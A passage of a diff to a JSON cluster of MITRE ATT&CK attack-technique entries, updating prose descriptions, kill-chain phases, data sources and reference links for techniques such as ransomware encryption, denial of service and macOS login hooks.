@@ "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1533", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" + "https://attack.mitre.org/techniques/T1533" ] }, "uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", @@ -6459,41 +5923,25 @@ "value": "Post compromise tool development - T1353" }, { - "description": "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)", "meta": { - "external_id": "AUT-11", + "external_id": "APP-29", "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1634", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" - ] - }, - "uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", - "value": "Credentials from Password Store - T1634" - }, - { - "description": "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.\n\nIf done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS", - "meta": { - "external_id": "APP-16", - "kill_chain": [ - "mitre-mobile-attack:impact" + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1643", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html" + "https://attack.mitre.org/techniques/T1437", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "https://securelist.com/mobile-malware-evolution-2013/58335/" ] }, - "uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "value": "Generate Traffic from Victim - T1643" + "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "value": "Standard Application Layer Protocol - T1437" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", @@ -6525,29 +5973,6 @@ "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f", "value": "Create infected removable media - T1355" }, - { - "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue. \n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.", - "meta": { - "external_id": "T1635", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1635", - "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "https://developer.android.com/training/app-links/index.html", - "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", - "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", - "https://tools.ietf.org/html/rfc8252" - ] - }, - "uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", - "value": "Steal Application Access Token - T1635" - }, { "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "meta": { @@ -6621,25 +6046,6 @@ "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1", "value": "Targeted social media phishing - T1366" }, - { - "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels. ", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1639", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", - "value": "Exfiltration Over Alternative Protocol - T1639" - }, { "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)", "meta": { @@ -6684,51 +6090,6 @@ "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "value": "Masquerade as Legitimate Application - T1444" }, - { - "description": "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth. \n\n \n\nOn Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there. \n\n \n\nOn iOS, there is no way to programmatically read push notifications. ", - "meta": { - "external_id": "T1644", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1644" - ] - }, - "uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", - "value": "Out of Band Data - T1644" - }, - { - "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices. \n\nA Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer’s operational range.(Citation: NIST-SP800187) \n\nUsage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", - "meta": { - "external_id": "GPS-0", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", - "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", - "https://attack.mitre.org/techniques/T1464", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", - "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", - "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", - "https://www.nytimes.com/2007/11/04/technology/04jammer.html" - ] - }, - "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", - "value": "Network Denial of Service - T1464" - }, { "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "meta": { @@ -6754,26 +6115,6 @@ "uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", "value": "Compromise Client Software Binary - T1554" }, - { - "description": "Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators. \n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device. ", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1645", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://source.android.com/security/verifiedboot/" - ] - }, - "uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", - "value": "Compromise Client Software Binary - T1645" - }, { "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", "meta": { @@ -6803,33 +6144,6 @@ "uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "value": "Abuse Elevation Control Mechanism - T1548" }, - { - "description": "Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include: \n \n* Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB) \n* Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal) \n* Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking) ", - "meta": { - "external_id": "STA-6", - "kill_chain": [ - "mitre-mobile-attack:initial-access", - "mitre-mobile-attack:lateral-movement" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", - "https://attack.mitre.org/techniques/T1458", - "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", - "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-6.html", - "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", - "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" - ] - }, - "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", - "value": "Replication Through Removable Media - T1458" - }, { "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.", "meta": { @@ -6847,15 +6161,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", "value": "Downgrade to Insecure Protocols - T1466" }, @@ -6876,20 +6182,12 @@ "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", "value": "Rogue Cellular Base Station - T1467" }, { - "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", + "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "meta": { "external_id": "T1486", "kill_chain": [ @@ -6911,9 +6209,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1486", - "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "https://www.us-cert.gov/ncas/alerts/AA18-337A", "https://www.us-cert.gov/ncas/alerts/TA16-091A", @@ -6980,7 +6276,7 @@ "value": "Network Denial of Service - T1498" }, { - "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", + "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", "meta": { "external_id": "CAPEC-125", "kill_chain": [ @@ -7105,17 +6401,14 @@ "mitre_data_sources": [ "Instance: Instance Creation", "Instance: Instance Deletion", - "Instance: Instance Metadata", "Instance: Instance Modification", "Instance: Instance Start", "Instance: Instance Stop", "Snapshot: Snapshot Creation", "Snapshot: Snapshot Deletion", - "Snapshot: Snapshot Metadata", "Snapshot: Snapshot Modification", "Volume: Volume Creation", "Volume: Volume Deletion", - "Volume: Volume Metadata", "Volume: Volume Modification" ], "mitre_platforms": [ @@ -7130,16 +6423,12 @@ "value": "Modify Cloud Compute Infrastructure - T1578" }, { - "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "meta": { "external_id": "T1589", "kill_chain": [ "mitre-attack:reconnaissance" ], - "mitre_data_sources": [ - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Content" - ], "mitre_platforms": [ "PRE" ], @@ -7147,7 +6436,6 @@ "https://attack.mitre.org/techniques/T1589", "https://github.com/dxa4481/truffleHog", "https://github.com/michenriksen/gitrob", - "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/", "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/", "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196", @@ -7221,6 +6509,38 @@ "uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "value": "Logon Script (Windows) - T1037.001" }, + { + "description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ", + "meta": { + "external_id": "T1037.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/002", + "https://support.apple.com/de-at/HT2420", + "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "value": "Logon Script (Mac) - T1037.002" + }, { "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", "meta": { @@ -7268,7 +6588,7 @@ "value": "Dynamic-link Library Injection - T1055.001" }, { - "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "meta": { "external_id": "T1190", "kill_chain": [ @@ -7315,7 +6635,7 @@ "value": "Untargeted client-side exploitation - T1370" }, { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "description": 